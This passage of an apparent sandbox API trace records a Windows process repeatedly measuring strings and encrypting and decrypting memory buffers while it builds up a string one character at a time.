(param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xaa13\x9304\x5946\x83bc\x342f\x4e19\xf88b\xcb2f") returned 0x18 [0126.580] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xaa13\x9304\x5946\x83bc\x342f\x4e19\xf88b\xcb2f") returned 0x18 [0126.580] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.580] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0즩鸂➷") returned 0x18 [0126.580] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.580] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\x6e4c\x33c5\xb2d4\x930e\xc23f\xc2da\xd5b0\x2f1c") returned 0x18 [0126.580] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\x6e4c\x33c5\xb2d4\x930e\xc23f\xc2da\xd5b0\x2f1c") returned 0x18 [0126.580] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.580] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0R鸂➷") returned 0x18 [0126.580] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.581] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xe412\x570f\x1194\xfb93\x1bf3\x374\x41cb\x9cfd") returned 0x18 [0126.581] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xe412\x570f\x1194\xfb93\x1bf3\x374\x41cb\x9cfd") returned 0x18 [0126.581] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.581] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rb➷") returned 0x18 [0126.581] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.581] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\x17ce\x11bd\xe2d5\xda43\xc7e4\x85d8\xde83\xcc86") returned 0x18 [0126.581] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\x17ce\x11bd\xe2d5\xda43\xc7e4\x85d8\xde83\xcc86") returned 0x18 [0126.581] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.581] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj") returned 0x18 [0126.581] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.581] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f") returned 0x18 [0126.581] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f") returned 0x18 [0126.581] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f") returned 0x18 [0126.581] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f") returned 0x20 [0126.581] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.581] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/扒厥㞘婦쁜") returned 0x20 [0126.581] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.581] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\x85e\x7641\x3bb6\xeb81\x38cf\x9188\xda16\x1170") returned 0x20 [0126.582] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\x85e\x7641\x3bb6\xeb81\x38cf\x9188\xda16\x1170") returned 0x20 [0126.582] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.582] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/L厥㞘婦쁜") returned 0x20 [0126.582] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.582] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\x4c7c\xc999\x7f3e\xece5\xd46c\xe322\xf5e7\xe477") returned 0x20 [0126.582] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\x4c7c\xc999\x7f3e\xece5\xd46c\xe322\xf5e7\xe477") returned 0x20 [0126.582] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.582] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LB厥㞘婦쁜") returned 0x20 [0126.582] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.582] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xc468\x4602\x342c\xe07b\x3755\x907d\xc819\xec38") returned 0x20 [0126.582] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xc468\x4602\x342c\xe07b\x3755\x907d\xc819\xec38") returned 0x20 [0126.582] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.582] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZ厥㞘婦쁜") returned 0x20 [0126.582] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.582] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\x1f8a\xab6e\x7556\x6b75\x4b8f\x5752\x5449\x7f21") returned 0x20 [0126.582] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\x1f8a\xab6e\x7556\x6b75\x4b8f\x5752\x5449\x7f21") returned 0x20 [0126.582] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.582] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZb㞘婦쁜") returned 0x20 [0126.582] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.583] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xdfc1\x7452\xcb60\x2016\xeff7\x97c8\x2197\x6000") returned 0x20 [0126.583] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xdfc1\x7452\xcb60\x2016\xeff7\x97c8\x2197\x6000") returned 0x20 [0126.583] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.583] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbs婦쁜") returned 0x20 [0126.583] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.583] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xf670\x6f95\x9922\xce31\xc5c5\xc367\x4c52\x1ec2") returned 0x20 [0126.583] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xf670\x6f95\x9922\xce31\xc5c5\xc367\x4c52\x1ec2") returned 0x20 [0126.583] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.583] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbsc쁜") returned 0x20 [0126.583] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.583] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\x60a8\xd815\x1157\xaf9d\x5683\xb599\x42d4\xfd80") returned 0x20 [0126.583] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\x60a8\xd815\x1157\xaf9d\x5683\xb599\x42d4\xfd80") returned 0x20 [0126.583] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.583] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscN") returned 0x20 [0126.583] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.583] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50") returned 0x20 [0126.583] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50") returned 0x20 [0126.583] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50") returned 0x20 [0126.584] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x73\x5c\x4d\x79\x20\x53\x68\x61") returned 0x28 [0126.584] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.584] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNo﫿睴ꢜ칡棋ﾮ쨾") returned 0x28 [0126.584] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.584] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x38a4\x5caf\xc71a\x7e43\x3b90\xbe1c\x5061\xc82e") returned 0x28 [0126.584] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x38a4\x5caf\xc71a\x7e43\x3b90\xbe1c\x5061\xc82e") returned 0x28 [0126.584] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.584] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNos睴ꢜ칡棋ﾮ쨾") returned 0x28 [0126.584] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.584] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\xa59\xf3e9\x69a0\xf642\x331c\xd55d\x37e5\x6461") returned 0x28 [0126.584] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\xa59\xf3e9\x69a0\xf642\x331c\xd55d\x37e5\x6461") returned 0x28 [0126.584] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.584] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNos7ꢜ칡棋ﾮ쨾") returned 0x28 [0126.584] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.584] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\xbc03\x266e\x45f7\x8071\xfd4d\x27a7\x4dbb\x35db") returned 0x28 [0126.584] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\xbc03\x266e\x45f7\x8071\xfd4d\x27a7\x4dbb\x35db") returned 0x28 [0126.584] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.585] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNos7o칡棋ﾮ쨾") returned 0x28 [0126.585] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.585] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x4a4a\xaae1\x4cc7\x9e4c\x3087\x7c7b\xed9b\x9095") returned 0x28 [0126.585] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x4a4a\xaae1\x4cc7\x9e4c\x3087\x7c7b\xed9b\x9095") returned 0x28 [0126.585] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.585] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNos7o6棋ﾮ쨾") returned 0x28 [0126.585] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.585] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\xd982\x7dcb\x5bd8\x3564\x927d\x98b3\x1c51\x2061") returned 0x28 [0126.585] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\xd982\x7dcb\x5bd8\x3564\x927d\x98b3\x1c51\x2061") returned 0x28 [0126.585] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.585] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNos7o6yﾮ쨾") returned 0x28 [0126.585] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.585] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\xe520\xe099\xd8e\xb24e\xbf99\xd086\x322e\xe634") returned 0x28 [0126.585] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\xe520\xe099\xd8e\xb24e\xbf99\xd086\x322e\xe634") returned 0x28 [0126.585] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.585] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNos7o6yr쨾") returned 0x28 [0126.585] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.585] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\xda18\xa8c9\xd69c\xe710\xfe3c\x2693\x63b5\x72c8") returned 0x28 [0126.585] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\xda18\xa8c9\xd69c\xe710\xfe3c\x2693\x63b5\x72c8") returned 0x28 [0126.585] SystemFunction041 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.586] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNos7o6yr6") returned 0x28 [0126.586] SystemFunction040 (in: Memory=0x8e6f4e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f4e4) returned 0x0 [0126.586] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x56c4\x2089\x832c\xef2e\x52c7\xb964\x2f7b\xd721") returned 0x28 [0126.586] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x56c4\x2089\x832c\xef2e\x52c7\xb964\x2f7b\xd721") returned 0x28 [0126.586] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x56c4\x2089\x832c\xef2e\x52c7\xb964\x2f7b\xd721") returned 0x28 [0126.586] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x56c4\x2089\x832c\xef2e\x52c7\xb964\x2f7b\xd721\x4402\xabd3\xbc2a\x64e7\xe4f3\xc416\x73ac\x2138") returned 0x30 [0126.586] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0126.586] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNos7o6yr6Oꤻ愰킛噆ᤶ燜玃") returned 0x30 [0126.586] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0126.586] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x56c4\x2089\x832c\xef2e\x52c7\xb964\x2f7b\xd721\x9938\x3ec2\x8a03\x8d10\xb958\xe7ae\x68d4\x3f5e") returned 0x30 [0126.586] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x56c4\x2089\x832c\xef2e\x52c7\xb964\x2f7b\xd721\x9938\x3ec2\x8a03\x8d10\xb958\xe7ae\x68d4\x3f5e") returned 0x30 [0126.586] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0126.586] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNos7o6yr6O2愰킛噆ᤶ燜玃") returned 0x30 [0126.586] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0126.586] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x56c4\x2089\x832c\xef2e\x52c7\xb964\x2f7b\xd721\xf038\x4631\x4311\xdc21\x2c4a\x829e\xdd92\x518e") returned 0x30 [0126.586] SysStringLen (param_1="\xc366\x96f2\x55f2\x92ff\xa15a\x1d61\xd6b4\x11d\x9799\x919f\x5b59\xf474\xcd40\xdd3c\xdbf9\x1764\xa50d\x6278\x9cf6\xed6b\x9765\x230d\x1f9d\xf08f\xe47c\x8991\xe0bb\xcac6\xefcb\xf8d8\xc658\x5d50\x56c4\x2089\x832c\xef2e\x52c7\xb964\x2f7b\xd721\xf038\x4631\x4311\xdc21\x2c4a\x829e\xdd92\x518e") returned 0x30 [0126.586] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0126.587] SysStringLen (param_1="XXA8QV6HcEzTCmhkvp8I0Rbj/LBZbscNos7o6yr6O2E킛噆ᤶ燜玃") returned 0x30 [0126.587] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0126.587] SysStringLen 